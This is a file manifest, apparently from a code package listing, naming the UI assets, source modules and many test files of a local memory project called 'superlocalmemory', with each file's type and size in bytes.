bytessrc/superlocalmemory/ui/assets/mascot/laptop-320.webpasset13,890 bytessrc/superlocalmemory/ui/assets/mascot/laptop-640.webpasset39,500 bytessrc/superlocalmemory/ui/assets/mascot/magnifier-320.webpasset17,194 bytessrc/superlocalmemory/ui/assets/mascot/peek-320.webpasset13,394 bytessrc/superlocalmemory/ui/assets/mascot/peek-640.webpasset38,460 bytessrc/superlocalmemory/ui/assets/mascot/pointing-320.webpasset15,946 bytessrc/superlocalmemory/ui/assets/mascot/pointing-640.webpasset46,372 bytessrc/superlocalmemory/ui/assets/mascot/shield-320.webpasset17,286 bytessrc/superlocalmemory/ui/assets/mascot/thumbsup-320.webpasset16,790 bytessrc/superlocalmemory/ui/assets/slm-icon-white.svgasset2,940 bytessrc/superlocalmemory/ui/assets/slm-icon.svgasset1,835 bytessrc/superlocalmemory/ui/css/brain.cssasset9,155 bytessrc/superlocalmemory/ui/css/design-system.cssasset38,589 bytessrc/superlocalmemory/ui/css/legacy-dashboard.cssasset17,605 bytessrc/superlocalmemory/ui/css/neural-glass.cssasset51,969 bytessrc/superlocalmemory/ui/css/od-apps.cssasset20,449 bytessrc/superlocalmemory/ui/css/od-bridge.cssasset7,067 bytessrc/superlocalmemory/ui/css/od-star-ask.cssasset844 bytessrc/superlocalmemory/ui/css/theme-slm.cssasset25,232 bytessrc/superlocalmemory/ui/favicon.svgasset1,835 bytessrc/superlocalmemory/ui/index.htmlasset118,193 bytessrc/superlocalmemory/ui/js/agents.jsruns8,222 bytessrc/superlocalmemory/ui/js/answer-check.jsruns36,984 bytessrc/superlocalmemory/ui/js/auto-settings.jsruns29,029 bytessrc/superlocalmemory/ui/js/brain.jsruns52,208 bytessrc/superlocalmemory/ui/js/clusters.jsruns12,605 bytessrc/superlocalmemory/ui/js/compliance.jsruns12,339 bytessrc/superlocalmemory/ui/js/core.jsruns32,847 bytessrc/superlocalmemory/ui/js/dashboard.jsruns26,320 bytessrc/superlocalmemory/ui/js/event-delegation.jsruns6,187 bytessrc/superlocalmemory/ui/js/events.jsruns6,875 bytessrc/superlocalmemory/ui/js/fact-detail.jsruns6,108 bytessrc/superlocalmemory/ui/js/feedback.jsruns10,941 bytessrc/superlocalmemory/ui/js/graph-event-bus.jsruns3,177 bytessrc/superlocalmemory/ui/js/graph-filters.jsruns9,191 bytessrc/superlocalmemory/ui/js/graph-ui.jsruns7,826 bytessrc/superlocalmemory/ui/js/ide-status.jsruns3,983 bytessrc/superlocalmemory/ui/js/init.jsruns2,574 bytessrc/superlocalmemory/ui/js/knowledge-graph.jsruns39,112 bytessrc/superlocalmemory/ui/js/lifecycle.jsruns14,671 bytessrc/superlocalmemory/ui/js/math-health.jsruns4,704 bytessrc/superlocalmemory/ui/js/memories.jsruns17,324 bytessrc/superlocalmemory/ui/js/memory-chat.jsruns15,642 bytessrc/superlocalmemory/ui/js/memory-timeline.jsruns9,801 bytessrc/superlocalmemory/ui/js/modal.jsruns35,349 bytessrc/superlocalmemory/ui/js/ng-entities.jsruns12,538 bytessrc/superlocalmemory/ui/js/ng-health.jsruns8,778 bytessrc/superlocalmemory/ui/js/ng-ingestion.jsruns12,173 bytessrc/superlocalmemory/ui/js/ng-mesh.jsruns15,504 bytessrc/superlocalmemory/ui/js/ng-shell.jsruns23,051 bytessrc/superlocalmemory/ui/js/ng-skills.jsruns29,325 bytessrc/superlocalmemory/ui/js/od-agents.jsruns27,619 bytessrc/superlocalmemory/ui/js/od-answercheck-tryit.jsruns15,334 bytessrc/superlocalmemory/ui/js/od-answercheck.jsruns28,734 bytessrc/superlocalmemory/ui/js/od-apps-list.jsruns18,237 bytessrc/superlocalmemory/ui/js/od-apps-ui.jsruns13,104 bytessrc/superlocalmemory/ui/js/od-apps.jsruns3,720 bytessrc/superlocalmemory/ui/js/od-auth-gate.jsruns12,823 bytessrc/superlocalmemory/ui/js/od-backup-encryption.jsruns3,578 bytessrc/superlocalmemory/ui/js/od-backup-layout.jsruns19,595 bytessrc/superlocalmemory/ui/js/od-backup-recovery.jsruns3,726 bytessrc/superlocalmemory/ui/js/od-backup.jsruns21,259 bytessrc/superlocalmemory/ui/js/od-botmessages.jsruns15,713 bytessrc/superlocalmemory/ui/js/od-boundedloops.jsruns17,715 bytessrc/superlocalmemory/ui/js/od-brain.jsruns49,696 bytessrc/superlocalmemory/ui/js/od-compliance-ext.jsruns13,153 bytessrc/superlocalmemory/ui/js/od-components.jsruns6,214 bytessrc/superlocalmemory/ui/js/od-connections.jsruns47,212 bytessrc/superlocalmemory/ui/js/od-daemon-controls.jsruns4,265 bytessrc/superlocalmemory/ui/js/od-daily.jsruns6,255 bytessrc/superlocalmemory/ui/js/od-dash-home.jsruns9,824 bytessrc/superlocalmemory/ui/js/od-decay-preview.jsruns3,307 bytessrc/superlocalmemory/ui/js/od-engine-upgrade.jsruns7,974 bytessrc/superlocalmemory/ui/js/od-entities.jsruns25,822 bytessrc/superlocalmemory/ui/js/od-features.jsruns14,747 bytessrc/superlocalmemory/ui/js/od-graph.jsruns43,266 bytessrc/superlocalmemory/ui/js/od-health.jsruns28,029 bytessrc/superlocalmemory/ui/js/od-help.jsruns16,838 bytessrc/superlocalmemory/ui/js/od-local-apps.jsruns9,593 bytessrc/superlocalmemory/ui/js/od-mcp.jsruns21,380 bytessrc/superlocalmemory/ui/js/od-media-find.jsruns4,548 bytessrc/superlocalmemory/ui/js/od-media.jsruns16,802 bytessrc/superlocalmemory/ui/js/od-memories.jsruns35,780 bytessrc/superlocalmemory/ui/js/od-memory-drawer.jsruns14,712 bytessrc/superlocalmemory/ui/js/od-memory-events.jsruns8,472 bytessrc/superlocalmemory/ui/js/od-memory-health.jsruns6,869 bytessrc/superlocalmemory/ui/js/od-memory-knowledge.jsruns16,610 bytessrc/superlocalmemory/ui/js/od-mesh.jsruns28,532 bytessrc/superlocalmemory/ui/js/od-operations-compliance.jsruns23,934 bytessrc/superlocalmemory/ui/js/od-operations-layout.jsruns13,001 bytessrc/superlocalmemory/ui/js/od-operations.jsruns26,075 bytessrc/superlocalmemory/ui/js/od-ops-health.jsruns18,648 bytessrc/superlocalmemory/ui/js/od-optimize.jsruns35,751 bytessrc/superlocalmemory/ui/js/od-polish.jsruns6,825 bytessrc/superlocalmemory/ui/js/od-reindex.jsruns7,139 bytessrc/superlocalmemory/ui/js/od-settings-groups.jsruns40,920 bytessrc/superlocalmemory/ui/js/od-settings-models.jsruns16,030 bytessrc/superlocalmemory/ui/js/od-settings.jsruns21,620 bytessrc/superlocalmemory/ui/js/od-shell.jsruns42,720 bytessrc/superlocalmemory/ui/js/od-signin-gate.jsruns6,527 bytessrc/superlocalmemory/ui/js/od-skills.jsruns25,115 bytessrc/superlocalmemory/ui/js/od-source-button.jsruns827 bytessrc/superlocalmemory/ui/js/od-sources.jsruns16,129 bytessrc/superlocalmemory/ui/js/od-star-ask.jsruns3,336 bytessrc/superlocalmemory/ui/js/od-startup.jsruns4,798 bytessrc/superlocalmemory/ui/js/od-store-check.jsruns6,106 bytessrc/superlocalmemory/ui/js/od-summaries.jsruns12,165 bytessrc/superlocalmemory/ui/js/od-team.jsruns17,368 bytessrc/superlocalmemory/ui/js/od-views.jsruns12,056 bytessrc/superlocalmemory/ui/js/od-welcome.jsruns10,929 bytessrc/superlocalmemory/ui/js/optimize.jsruns6,397 bytessrc/superlocalmemory/ui/js/profiles.jsruns16,499 bytessrc/superlocalmemory/ui/js/quick-actions.jsruns12,839 bytessrc/superlocalmemory/ui/js/recall-lab.jsruns19,195 bytessrc/superlocalmemory/ui/js/search.jsruns3,333 bytessrc/superlocalmemory/ui/js/settings.jsruns22,166 bytessrc/superlocalmemory/ui/js/timeline.jsruns3,406 bytessrc/superlocalmemory/ui/js/trust-dashboard.jsruns8,118 bytessrc/superlocalmemory/ui/vendor/bootstrap-icons/bootstrap-icons.cssasset95,609 bytessrc/superlocalmemory/ui/vendor/bootstrap-icons/fonts/bootstrap-icons.woffasset164,168 bytessrc/superlocalmemory/ui/vendor/bootstrap-icons/fonts/bootstrap-icons.woff2asset121,084 bytessrc/superlocalmemory/ui/vendor/bootstrap.bundle.min.jsruns80,421 bytessrc/superlocalmemory/ui/vendor/bootstrap.min.cssasset232,914 bytessrc/superlocalmemory/ui/vendor/d3.v7.min.jsruns279,706 bytessrc/superlocalmemory/ui/vendor/graphology-library.min.jsruns168,452 bytessrc/superlocalmemory/ui/vendor/graphology.umd.min.jsruns74,221 bytessrc/superlocalmemory/ui/vendor/inter-ui/inter-variable.min.cssasset642 bytessrc/superlocalmemory/ui/vendor/inter-ui/variable/InterVariable-Italic.woff2asset387,976 bytessrc/superlocalmemory/ui/vendor/inter-ui/variable/InterVariable.woff2asset352,240 bytessrc/superlocalmemory/ui/vendor/sigma.min.jsruns97,311 bytessrc/superlocalmemory/vector/__init__.pyruns349 bytessrc/superlocalmemory/vector/lancedb_backend.pyruns19,475 bytessrc/superlocalmemory/views/__init__.pyruns1,060 bytessrc/superlocalmemory/views/model.pyruns8,584 bytessrc/superlocalmemory/views/runner.pyruns3,671 bytessrc/superlocalmemory/views/store.pyruns11,565 bytestests/__init__.pyruns434 bytestests/_engine_closer.pyruns1,383 bytestests/_hard_timeout_plugin.pyruns5,740 bytestests/_isolation_plugin.pyruns7,226 bytestests/_portable.pyruns7,142 bytestests/_recall_sources.pyruns2,632 bytestests/_shard_plugin.pyruns1,986 bytestests/_urlopen_fake.pyruns1,390 bytestests/chaos/__init__.pyruns0 bytestests/chaos/test_chaos_queue.pyruns13,966 bytestests/cli/test_no_writable_fallback.pyruns2,485 bytestests/cli/test_remote_commands.pyruns11,731 bytestests/cli/test_token_show.pyruns2,089 bytestests/conftest.pyruns14,946 bytestests/core/test_canonical_mutation_runtime.pyruns15,576 bytestests/core/test_correction_during_delete.pyruns8,200 bytestests/core/test_deferred_admission_stop_bound.pyruns5,160 bytestests/core/test_delete_refusal_race.pyruns8,807 bytestests/core/test_erase_redrive.pyruns22,029 bytestests/core/test_erase_redrive_every_profile.pyruns10,398 bytestests/core/test_erase_redrive_followups.pyruns16,449 bytestests/core/test_erasure_hardening.pyruns12,572 bytestests/core/test_erasure_integration.pyruns13,877 bytestests/core/test_erasure_integrity_units.pyruns11,902 bytestests/core/test_erasure_phase3_faults.pyruns10,603 bytestests/core/test_erasure_saga.pyruns3,036 bytestests/core/test_erasure_service.pyruns8,333 bytestests/core/test_generation_fence.pyruns8,731 bytestests/core/test_lancedb_detect_no_thread.pyruns4,001 bytestests/core/test_open_correction_lets_the_user_overtake.pyruns2,010 bytestests/core/test_orchestrator.pyruns9,294 bytestests/core/test_overtaken_cases.pyruns8,016 bytestests/core/test_overtaken_cases_edges.pyruns7,904 bytestests/core/test_p8_hardening.pyruns7,999 bytestests/core/test_phase3_governance.pyruns48,529 bytestests/core/test_projection_spine.pyruns17,234 bytestests/core/test_projection_spine_integration.pyruns15,151 bytestests/core/test_remember_admission.pyruns8,723 bytestests/core/test_remember_admission_handler.pyruns7,351 bytestests/core/test_remember_contention_accept.pyruns14,239 bytestests/core/test_remember_disk_failure_is_not_called_busy.pyruns2,070 bytestests/core/test_remember_runtime.pyruns17,525 bytestests/core/test_remember_save_path_reader.pyruns4,303 bytestests/core/test_remember_survives_a_stalled_process.pyruns2,806 bytestests/core/test_secret_scrub_http_ingress.pyruns2,121 bytestests/core/test_stale_delete_tombstone.pyruns5,084 bytestests/core/test_tier_manager.pyruns12,124 bytestests/core/test_warm_guard_embed.pyruns17,323 bytestests/daemon_descriptor_guard.pyruns2,086 bytestests/dev_metadata.pyruns792 bytestests/docs/__init__.pyruns0 bytestests/docs/test_distributed_deployment_env_vars_are_read.pyruns1,507 bytestests/docs/test_doc_anchors_resolve.pyruns4,893 bytestests/docs/test_optimize_config_reference.pyruns1,799 bytestests/docs/test_privacy_statements_name_the_jev_kind_egress.pyruns2,237 bytestests/docs/test_readme_wp13.pyruns13,294 bytestests/docs/test_security_doc_does_not_promise_an_unshipped_release.pyruns955 bytestests/e2e/test_every_mcp_tool_end_to_end.pyruns30,077 bytestests/e2e/test_remote_two_daemons.pyruns22,599 bytestests/fixtures/__init__.pyruns52 bytestests/fixtures/answer_check_demo.jsonasset1,343 bytestests/fixtures/answerability/anchors.jsonlasset16,330 bytestests/fixtures/answerability/generated/dev_nonsense.jsonlasset40,514 bytestests/fixtures/answerability/generated/dev_real.jsonlasset12,607 bytestests/fixtures/answerability/generated/dev_unanswerable.jsonlasset12,374 bytestests/fixtures/answerability/generated/fresh_nonsense.jsonlasset40,381 bytestests/fixtures/answerability/generated/fresh_real.jsonlasset12,912 bytestests/fixtures/answerability/generated/fresh_unanswerable.jsonlasset12,365 bytestests/fixtures/answerability/nonsense.jsonlasset7,520 bytestests/fixtures/answerability/real.jsonlasset14,681 bytestests/fixtures/answerability/unanswerable.jsonlasset4,163 bytestests/fixtures/benchmark_data.pyruns3,952 bytestests/fixtures/lgb_mock.pyruns5,870 bytestests/fixtures/stub_llm_server.pyruns7,120 bytestests/fixtures/wp5-extraction/baseline-labels.jsonasset992 bytestests/fixtures/wp5-extraction/notes.jsonasset2,367 bytestests/graph/test_cozo_backend.pyruns11,734 bytestests/graph/test_cozo_client_adapter.pyruns1,606 bytestests/graph/test_cozo_remove_is_keyed.pyruns4,717 bytestests/helpers/doctor.pyruns409 bytestests/helpers/env_capabilities.pyruns4,434 bytestests/helpers/fake_embedding_worker.pyruns2,976 bytestests/helpers/hook_event_db.pyruns2,454 bytestests/helpers/native_guard.pyruns2,772 bytestests/helpers/owned_python.pyruns3,655 bytestests/helpers/seed_skill_events.pyruns4,733 bytestests/installers/test_get_slm.pyruns17,581 bytestests/installers/test_primary_install_journeys.pyruns6,149 bytestests/installers/test_unix_installer_contract.pyruns9,653 bytestests/integration/__init__.pyruns55 bytestests/integration/test_entity_compilation.pyruns7,342 bytestests/integration/test_health_monitor.pyruns3,358 bytestests/integration/test_ingestion.pyruns8,329 bytestests/integration/test_mesh.pyruns18,613 bytestests/integration/test_mesh_3c_e2e_p6c.pyruns9,999 bytestests/integration/test_mesh_advertise_p6b.pyruns17,541 bytestests/integration/test_mesh_http.pyruns9,837 bytestests/integration/test_mesh_lock_expiry.pyruns2,119 bytestests/integration/test_mesh_lock_protocol_p6c.pyruns20,391 bytestests/integration/test_mesh_node_identity_p6c.pyruns1,611 bytestests/integration/test_mesh_profile_isolation.pyruns9,158 bytestests/integration/test_mesh_security_p6a.pyruns62,218 bytestests/integration/test_mesh_state_sync_p6c.pyruns24,102 bytestests/integration/test_mesh_transport_p6b.pyruns28,971 bytestests/integration/test_remote_sync.pyruns14,345 bytestests/integration/test_remote_sync_mdns.pyruns1,526 bytestests/integration/test_unified_daemon.pyruns7,840 bytestests/isolation_guard.pyruns5,098 bytestests/loops/__init__.pyruns0 bytestests/loops/hermetic_fixtures.pyruns249 bytestests/loops/test_check_output_privacy.pyruns7,117 bytestests/loops/test_check_process_ownership.pyruns4,729 bytestests/loops/test_check_serialization.pyruns2,000 bytestests/loops/test_engine.pyruns6,660 bytestests/loops/test_execution_guard.pyruns2,709 bytestests/loops/test_hermetic_contract.pyruns7,951 bytestests/loops/test_hermetic_paths.pyruns7,093 bytestests/loops/test_ledger.pyruns6,804 bytestests/loops/test_models.pyruns2,083 bytestests/loops/test_private_run_location.pyruns1,399 bytestests/loops/test_process_sweep_attribution.pyruns3,368 bytestests/loops/test_protocol.pyruns1,215 bytestests/loops/test_receipt_authentication.pyruns2,148 bytestests/loops/test_rules.pyruns1,522 bytestests/mcp/__init__.pyruns0 bytestests/mcp/test_a_profile_that_holds_memory_can_name_it.pyruns2,499 bytestests/mcp/test_cli_fallback.pyruns34,180 bytestests/mcp/test_http_transport_resilience.pyruns8,452 bytestests/mcp/test_loop_adversarial_admission.pyruns7,152 bytestests/mcp/test_loop_documented_limits.pyruns1,480 bytestests/mcp/test_loop_escape_integrity.pyruns4,630 bytestests/mcp/test_loop_hermetic_probes.pyruns17,555 bytestests/mcp/test_loop_independent_receipts.pyruns10,095 bytestests/mcp/test_loop_pytest_config.pyruns5,420 bytestests/mcp/test_loop_receipt_races.pyruns9,433 bytestests/mcp/test_loop_receipt_replay.pyruns9,441 bytestests/mcp/test_loop_receipt_window.pyruns5,627 bytestests/mcp/test_loop_stop_reasons.pyruns2,329 bytestests/mcp/test_loop_tools.pyruns13,129 bytestests/mcp/test_mcp2_discover_and_client_e2e.pyruns8,520 bytestests/mcp/test_media_tools_listed_only_while_images_on.pyruns2,910 bytestests/mcp/test_no_writable_fallback.pyruns2,178 bytestests/mcp/test_profile_selector.pyruns17,179 bytestests/mcp/test_q9_compact_json_result.pyruns4,142 bytestests/mcp/test_recall_carries_the_relay_deadline.pyruns7,724 bytestests/mcp/test_recall_kind_proxy_and_cli.pyruns2,443 bytestests/mcp/test_search_and_list_recent_kind_filter.pyruns3,196 bytestests/mcp/test_search_fetch_list_recent_unknown_profile.pyruns4,925 bytestests/mcp/test_session_init_prospective_surface.pyruns9,191 bytestests/mcp/test_session_init_standing_rules.pyruns4,066 bytestests/mcp/test_session_project_rules.pyruns1,172 bytestests/mcp/test_tag_filter_tools.pyruns4,217 bytestests/mcp/test_the_advertised_tool_count_is_the_real_one.pyruns2,516 bytestests/mcp/test_the_dashboard_mcp_panel_states_the_real_tool_count.pyruns3,748 bytestests/mcp/test_the_loop_gate_asks_the_check_but_never_the_reorder.pyruns2,876 bytestests/mcp/test_the_mcp_loop_gate_never_pays_for_a_reorder.pyruns2,133 bytestests/mcp/test_the_plugin_can_say_a_memory_helped.pyruns3,579 bytestests/mcp/test_the_prose_a_user_reads_states_the_real_tool_count.pyruns4,409 bytestests/mcp/test_the_readme_mcp_profiles_table_matches_reality.pyruns3,241 bytestests/mcp/test_the_wiki_mcp_tools_page_matches_reality.pyruns3,207 bytestests/mcp/test_tools_kinds.pyruns4,907 bytestests/mcp/test_unknown_profile_is_refused_cleanly.pyruns3,040 bytestests/optimize/__init__.pyruns0 bytestests/optimize/adapters/__init__.pyruns0 bytestests/optimize/adapters/conftest.pyruns1,506 bytestests/optimize/adapters/test_adapters.pyruns26,835 bytestests/optimize/adapters/test_wrap.pyruns21,146 bytestests/optimize/cache/__init__.pyruns0 bytestests/optimize/cache/test_agreeing_outcomes_fit_the_boundary.pyruns3,864 bytestests/optimize/cache/test_boundary_cache_cap.pyruns4,347 bytestests/optimize/cache/test_boundary_fit_never_corrupts_memory.pyruns2,649 bytestests/optimize/cache/test_boundary_store.pyruns15,074 bytestests/optimize/cache/test_centroid_store.pyruns3,635 bytestests/optimize/cache/test_context_key.pyruns3,097 bytestests/optimize/cache/test_exact.pyruns5,846 bytestests/optimize/cache/test_explore_draw_is_install_keyed.pyruns2,253 bytestests/optimize/cache/test_invalidation.pyruns1,963 bytestests/optimize/cache/test_key_builder.pyruns5,329 bytestests/optimize/cache/test_manager.pyruns31,620 bytestests/optimize/cache/test_semantic.pyruns24,375 bytestests/optimize/cache/test_stampede.pyruns3,487 bytestests/optimize/cache/test_vertex_key_isolation.pyruns2,214 bytestests/optimize/compress/test_align.pyruns3,838 bytestests/optimize/compress/test_ccr.pyruns3,926 bytestests/optimize/compress/test_ccr_proxy_correctness.pyruns9,057 bytestests/optimize/compress/test_init.pyruns488 bytestests/optimize/compress/test_json_minify.pyruns5,661 bytestests/optimize/compress/test_prose_llmlingua.pyruns7,057 bytestests/optimize/compress/test_router.pyruns63,722 bytestests/optimize/compress/test_router_helpers.pyruns6,966 bytestests/optimize/config/__init__.pyruns0 bytestests/optimize/config/test_accessor.pyruns999 bytestests/optimize/config/test_schema.pyruns4,430 bytestests/optimize/config/test_store.pyruns3,596 bytestests/optimize/conftest.pyruns1,163 bytestests/optimize/metrics/__init__.pyruns0 bytestests/optimize/metrics/test_counters.pyruns4,146 bytestests/optimize/metrics/test_estimator.pyruns2,947 bytestests/optimize/metrics/test_exporters.pyruns5,553 bytestests/optimize/metrics/test_persistence.pyruns5,342 bytestests/optimize/metrics/test_routes.pyruns3,294 bytestests/optimize/proxy/__init__.pyruns0 bytestests/optimize/proxy/conftest.pyruns1,797 bytestests/optimize/proxy/test_anthropic_surface.pyruns9,921 bytestests/optimize/proxy/test_anthropic_surface_gaps.pyruns19,102 bytestests/optimize/proxy/test_anthropic_surface_more.pyruns12,825 bytestests/optimize/proxy/test_capture.pyruns32,349 bytestests/optimize/proxy/test_gemini_surface.pyruns3,941 bytestests/optimize/proxy/test_gemini_surface_gaps.pyruns28,459 bytestests/optimize/proxy/test_gemini_surface_more.pyruns6,050 bytestests/optimize/proxy/test_helpers.pyruns2,188 bytestests/optimize/proxy/test_helpers_gaps.pyruns18,016 bytestests/optimize/proxy/test_helpers_more.pyruns6,616 bytestests/optimize/proxy/test_lifecycle.pyruns2,230 bytestests/optimize/proxy/test_openai_surface.pyruns17,015 bytestests/optimize/proxy/test_server.pyruns4,325 bytestests/optimize/proxy/test_vertex_surface.pyruns27,988 bytestests/optimize/storage/__init__.pyruns0 bytestests/optimize/storage/test_db.pyruns14,565 bytestests/optimize/storage/test_db_edge_cases.pyruns33,296 bytestests/optimize/storage/test_schema.pyruns3,359 bytestests/optimize/storage/test_tenant_normalization.pyruns1,922 bytestests/optimize/test_benchmark.pyruns3,442 bytestests/optimize/test_cache_erasure.pyruns8,044 bytestests/optimize/test_proxy_tenant_isolation.pyruns14,895 bytestests/optimize/test_runtime_toggle.pyruns3,693 bytestests/optimize/test_semantic_index_cap.pyruns8,165 bytestests/perf/__init__.pyruns140 bytestests/perf/baselines/recall_remember_baseline.jsonasset826 bytestests/perf/test_answer_check_history_overhead.pyruns1,974 bytestests/perf/test_recall_remember_baseline.pyruns50,470 bytestests/postinstall/test_arch_refusals.jsruns5,890 bytestests/postinstall/test_engine_upgrade_prompt.jsruns5,602 bytestests/postinstall/test_media_request.jsruns12,389 bytestests/postinstall/test_npm_runtime_isolation.jsruns12,086 bytestests/postinstall/test_postinstall_cpu_torch.jsruns4,664 bytestests/postinstall/test_postinstall_python_discovery.jsruns6,073 bytestests/postinstall/test_postinstall_python_guidance.jsruns2,509 bytestests/postinstall/test_postinstall_validation.jsruns9,368 bytestests/postinstall/test_rebuild_command_is_global.jsruns2,722 bytestests/property/__init__.pyruns0 bytestests/property/test_queue_invariants.pyruns14,713 bytestests/regression/__init__.pyruns58 bytestests/regression/test_issue_112.pyruns10,514 bytestests/regression/test_issue_90.pyruns5,783 bytestests/release/__init__.pyruns197 bytestests/release/_harness.pyruns16,649 bytestests/release/conftest.pyruns939 bytestests/release/test_artifact_contract.pyruns5,895 bytestests/release/test_csp_no_inline_handlers.pyruns2,049 bytestests/release/test_daemon_namespace_blackbox.pyruns14,556 bytestests/release/test_dependency_security_floors.pyruns3,132 bytestests/release/test_harness.pyruns6,914 bytestests/release/test_installed_artifacts.pyruns2,308 bytestests/release/test_plugin_hook_parity.pyruns2,069 bytestests/release/test_public_claim_scanner.pyruns3,226 bytestests/release/test_testclient_dependency.pyruns1,144 bytestests/release/test_v37_rc_candidate_contract.pyruns1,989 bytestests/release/test_v4_platform_support.pyruns1,013 bytestests/server/test_386_canonical_remember_route.pyruns5,834 bytestests/server/test_386_readiness_channel_contract.pyruns1,538 bytestests/server/test_background_index_repair_yields_to_recall.pyruns2,354 bytestests/server/test_daemon_bound_port.pyruns2,342 bytestests/server/test_daemon_health_identity.pyruns9,601 bytestests/server/test_daemon_readiness_contract.pyruns11,415 bytestests/server/test_data_root_startup_guard.pyruns863 bytestests/server/test_entity_index_gap_sweep.pyruns7,634 bytestests/server/test_health_never_blocks_the_event_loop.pyruns4,189 bytestests/server/test_remember_profile_binding.pyruns626 bytestests/server/test_remote_keys.pyruns12,796 bytestests/server/test_remote_listener.pyruns10,822 bytestests/server/test_remote_secrets_owner_only.pyruns3,904 bytestests/server/test_remote_slow_clients.pyruns10,189 bytestests/server/test_uvicorn_contract.pyruns6,015 bytestests/storage/test_admission_codec.pyruns5,622 bytestests/storage/test_admission_journal.pyruns19,507 bytestests/storage/test_admission_journal_concurrency.pyruns14,873 bytestests/storage/test_an_expired_write_lets_go_of_the_lock.pyruns4,342 bytestests/storage/test_database_coordinator_binding.pyruns5,292 bytestests/storage/test_embedding_codec.pyruns18,486 bytestests/storage/test_entity_index_coverage_gap.pyruns10,485 bytestests/storage/test_fabricated_date_text.pyruns6,263 bytestests/storage/test_fact_count_is_not_recounted.pyruns2,577 bytestests/storage/test_fts_damaged_index_repair.pyruns7,479 bytestests/storage/test_fts_secure_delete_versions.pyruns3,324 bytestests/storage/test_idempotency_across_restarts.pyruns7,274 bytestests/storage/test_integrity_diagnosis.pyruns6,186 bytestests/storage/test_integrity_repair.pyruns11,230 bytestests/storage/test_keyword_index_repair_is_verified.pyruns8,031 bytestests/storage/test_kind_column_probe_race.pyruns1,709 bytestests/storage/test_no_reuse_of_values_seen_inside_a_rolled_back_save.pyruns2,484 bytestests/storage/test_orphan_index_rows.pyruns5,052 bytestests/storage/test_private_copies_owner_only.pyruns9,265 bytestests/storage/test_project_backfill.pyruns4,951 bytestests/storage/test_read_connection_closes_from_any_thread.pyruns2,101 bytestests/storage/test_repair_scrubs_event_previews.pyruns12,742 bytestests/storage/test_repair_unfinished_deletes.pyruns3,183 bytestests/storage/test_secure_delete_on_old_sqlite.pyruns1,724 bytestests/storage/test_store_check.pyruns4,626 bytestests/storage/test_store_is_read_once_at_start.pyruns3,630 bytestests/storage/test_vector_parity_repair.pyruns19,063 bytestests/storage/test_vector_residue.pyruns3,437 bytestests/storage/test_write_coordinator.pyruns25,340 bytestests/storage/test_write_coordinator_deadline.pyruns6,677 bytestests/storage/test_write_coordinator_waits_can_be_stopped.pyruns5,912 bytestests/stress/test_386_canonical_legacy_multiprocess_contention.pyruns16,211 bytestests/stress/test_386_canonical_runtime_release.pyruns20,832 bytestests/stress/test_386_mode_parity_release.pyruns7,609 bytestests/stress/test_hook_events_never_lost.pyruns12,848 bytestests/stress/test_remember_journal_burst.pyruns4,807 bytestests/test_acceptance_brain_truth.pyruns15,380 bytestests/test_acceptance_compliance.pyruns13,044 bytestests/test_acceptance_consolidation.pyruns20,134 bytestests/test_acceptance_core.pyruns11,762 bytestests/test_access/__init__.pyruns0 bytestests/test_access/test_rbac_engine.pyruns6,786 bytestests/test_adapters/__init__.pyruns0 bytestests/test_adapters/conftest.pyruns3,022 bytestests/test_adapters/test_antigravity_adapter.pyruns5,892 bytestests/test_adapters/test_content_builder.pyruns4,768 bytestests/test_adapters/test_copilot_adapter.pyruns3,847 bytestests/test_adapters/test_copilot_adapter_nondestructive.pyruns5,949 bytestests/test_adapters/test_cross_platform_connector.pyruns2,681 bytestests/test_adapters/test_cursor_adapter.pyruns9,766 bytestests/test_adapters/test_extra_coverage.pyruns18,549 bytestests/test_adapters/test_static_protocol_security.pyruns1,687 bytestests/test_adapters/test_sync_loop.pyruns4,716 bytestests/test_api/__init__.pyruns160 bytestests/test_api/conftest.pyruns5,613 bytestests/test_api/test_a_used_memory_can_leave_forgotten.pyruns1,499 bytestests/test_api/test_activity_metadata_attribution.pyruns1,765 bytestests/test_api/test_agent_memory_activity.pyruns3,408 bytestests/test_api/test_api_associations.pyruns5,247 bytestests/test_api/test_api_auto_invoke.pyruns5,254 bytestests/test_api/test_api_consolidation.pyruns10,332 bytestests/test_api/test_api_lifespan_contract.pyruns444 bytestests/test_api/test_api_v33.pyruns32,606 bytestests/test_api/test_brain_endpoint.pyruns38,974 bytestests/test_api/test_config_api.pyruns24,972 bytestests/test_api/test_dashboard_phase_truth.pyruns5,596 bytestests/test_api/test_dashboard_source_truth.pyruns5,067 bytestests/test_api/test_engine_lifecycle.pyruns10,327 bytestests/test_api/test_provider_test_endpoint.pyruns7,171 bytestests/test_api/test_s9_w4_brain_contract.pyruns4,451 bytestests/test_api/test_token_endpoint.pyruns6,917 bytestests/test_api/test_worker_idle_config.pyruns6,419 bytestests/test_architecture/__init__.pyruns0 bytestests/test_architecture/test_import_ratchet.pyruns6,894 bytestests/test_architecture/test_no_heavy_ml_on_import.pyruns1,358 bytestests/test_auto_hooks.pyruns3,569 bytestests/test_before_web_hook.pyruns7,842 bytestests/test_behavioral_full.pyruns2,109 bytestests/test_benchmark_drift_guard.pyruns4,134 bytestests/test_benchmark_exp12_trial_accounting.pyruns412 bytestests/test_benchmark_provenance.pyruns1,177 bytestests/test_benchmark_suite_reachability.pyruns4,553 bytestests/test_benchmark_trial_distribution.pyruns1,579 bytestests/test_benchmarks/__init__.pyruns0 bytestests/test_benchmarks/chart_export.pyruns7,271 bytestests/test_benchmarks/evo_memory.pyruns24,522 bytestests/test_benchmarks/evo_memory_multiseed.pyruns6,597 bytestests/test_benchmarks/fixtures/__init__.pyruns0 bytestests/test_benchmarks/fixtures/evo_memory_synthetic_v1.jsonlasset340,683 bytestests/test_benchmarks/fixtures/evo_memory_synthetic_v1.sha256asset65 bytestests/test_benchmarks/fixtures/generate_synthetic_fixture.pyruns6,968 bytestests/test_benchmarks/locomo/README.mddoc2,996 bytestests/test_benchmarks/locomo/__init__.pyruns499 bytestests/test_benchmarks/locomo/run_locomo.pyruns6,342 bytestests/test_benchmarks/locomo/score.pyruns1,581 bytestests/test_benchmarks/test_evo_memory_runner.pyruns14,998 bytestests/test_benchmarks/test_hook_cold_start.pyruns5,077 bytestests/test_benchmarks/test_resource_lifecycle_harness.pyruns1,993 bytestests/test_benchmarks_leave_no_file_open.pyruns1,390 bytestests/test_binary/__init__.pyruns0 bytestests/test_binary/conftest.pyruns559 bytestests/test_binary/test_bin_slm_python_version_gate.pyruns4,386 bytestests/test_binary/test_dispatcher_fallback.pyruns8,349 bytestests/test_binary/test_entry_generator.pyruns17,660 bytestests/test_binary/test_manifest_generator.pyruns8,712 